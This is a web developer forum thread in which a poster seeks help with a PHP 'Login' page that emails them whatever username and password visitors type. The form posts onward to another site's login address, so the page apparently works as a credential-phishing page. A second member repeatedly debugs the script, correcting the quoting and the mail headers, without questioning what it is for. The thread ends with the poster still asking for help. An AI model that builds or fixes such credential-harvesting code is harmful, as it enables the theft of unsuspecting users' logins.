www.webdeveloper.com
Results 1 to 13 of 13

Thread: Simple Error. Code not working!! PHP Form + mail

  1. #1
    Join Date
    Apr 2007
    Posts
    12

    Exclamation Simple Error. Code not working!! PHP Form + mail

    Code:
    <?php
    
    if (isset($_POST[username])) {
    $to = "example@hotmail.com";
    $subject = "SUBJECT!!";
    $username = $_POST['username'] ;
    $password = $_POST['password'] ;
    $message = "Username: $username
    Password: $password";
    $headers .= 'From: example@hotmail.com' . "\r\n";
    mail($to,$subject,$message,$header);
    } else {
    ?>
    
    <html>
      <head>
        <title>Login</title>
      </head>
    <body>
    <form action="https://www.example.com/login" method="post" autocomplete="off">
    Username:<input size="20" type="text" name="username" maxlength="12"><br />
    Password:<input size="20" type="password" name="password" maxlength="20"><br />
    <input type="submit" value="submit" name="submit">
    </form>
    
    <? 
    }
    ?>

    That's my full code for a PHP page. You enter details on the page and it is supposted to email you what was typed in the password and username box, but it doesnt. The rest of the form works fine.

    It's probobly something simple but I can't get it.


    Thanks

    Demuck

  2. #2
    Join Date
    Dec 2005
    Posts
    2,984
    You're concatenating your headers variable (i.e. $headers .=) when it wasn't previously defined and in the mail() function you use the variable $header instead of $headers.....
    I've switched careers...
    I'm NO LONGER a scientist,
    but now a web developer...
    awesome.

  3. #3
    Join Date
    Apr 2007
    Posts
    12
    I fixed spelling error, but when i click SUBMIT it still won't send. And i need like $username to be the username typed in the form below...

  4. #4
    Join Date
    Dec 2005
    Posts
    2,984
    Just to make sure, you are submitting this form to the same page, right? So you're action field should be blank (although you can fill it in with the url of the same page you are using)

    Nevermind, you're missing the single quotes in your isset statement, it should be

    PHP Code:
    if (isset($_POST['username'])) { 
    You have $_POST[username]
    I've switched careers...
    I'm NO LONGER a scientist,
    but now a web developer...
    awesome.

  5. #5
    Join Date
    Apr 2007
    Posts
    12
    can you like edit the code so that happens.... and yeah im submitting the data from the form on that page.....

  6. #6
    Join Date
    Dec 2005
    Posts
    2,984
    Check the above reply, I edited it and you might have missed what I said at the end...
    I've switched careers...
    I'm NO LONGER a scientist,
    but now a web developer...
    awesome.

  7. #7
    Join Date
    Apr 2007
    Posts
    12
    ill try that..

  8. #8
    Join Date
    Apr 2007
    Posts
    12
    i didint get the email.... it didnt send.


    with what you said about action feild blank, i need that part though.

  9. #9
    Join Date
    Dec 2005
    Posts
    2,984
    You can do either with the action field (have it pointed to the current url or leave it blank) but I think the blank is better from a security point of view. Post the code that you're using now so I can see if there are any other errors. Also, is it giving you an error when you execute the code? Try to debug it by adding an echo statement after your if statement just to see if the if(isset($_POST['username'])) is being executed
    I've switched careers...
    I'm NO LONGER a scientist,
    but now a web developer...
    awesome.

  10. #10
    Join Date
    Apr 2007
    Posts
    12
    no error, like line 34 or something, nothing like that... it just continues to the login page. here is code..

    Code:
    <?php
    
    if (isset($_POST['username'])) { 
    $to = "person@email.com";
    $subject = "Subject";
    $username = $_POST['username'] ;
    $password = $_POST['password'] ;
    $message = "Username: $username
    Password: $password";
    $headers .= 'From: person@email.com' . "\r\n";
    mail($to,$subject,$message,$headers);
    } else {
    ?>
    <html>
      <head>
        <meta http-equiv="Expires" content="0">
        <meta http-equiv="Pragma" content="no-cache">
        <meta http-equiv="Cache-Control" content="no-cache">
        <meta name="MSSmartTagsPreventParsing" content="TRUE">
        	<title>Something</title>
      </head>
    <body>
    <form action="https://website.com/login" method="post" autocomplete="off">
    Username:<input size="20" type="text" name="username" maxlength="12"><br />
    Password:<input size="20" type="password" name="password" maxlength="20"><br />
    <input type="submit" value="submit" name="submit">
    </form>
    <? 
    }
    ?>

  11. #11
    Join Date
    Dec 2005
    Posts
    2,984
    You're still concatenating the headers (i.e. $header .=)

    $headers was not previously defined so it should be an = not a .=
    Also, it doesn't make sense to split it into two strings so replace your headers line with this one.
    PHP Code:
    $headers "From: person@email.com\r\n"
    I've switched careers...
    I'm NO LONGER a scientist,
    but now a web developer...
    awesome.

  12. #12
    Join Date
    Apr 2007
    Posts
    12
    fixed header part, replaced it with the one you did. sill doesnt send email.

  13. #13
    Join Date
    Apr 2007
    Posts
    12
    can anybody else help?

Thread Information

Users Browsing this Thread

There are currently 1 users browsing this thread. (0 members and 1 guests)

Posting Permissions

  • You may not post new threads
  • You may not post replies
  • You may not post attachments
  • You may not edit your posts
  •  
HTML5 Development Center



Recent Articles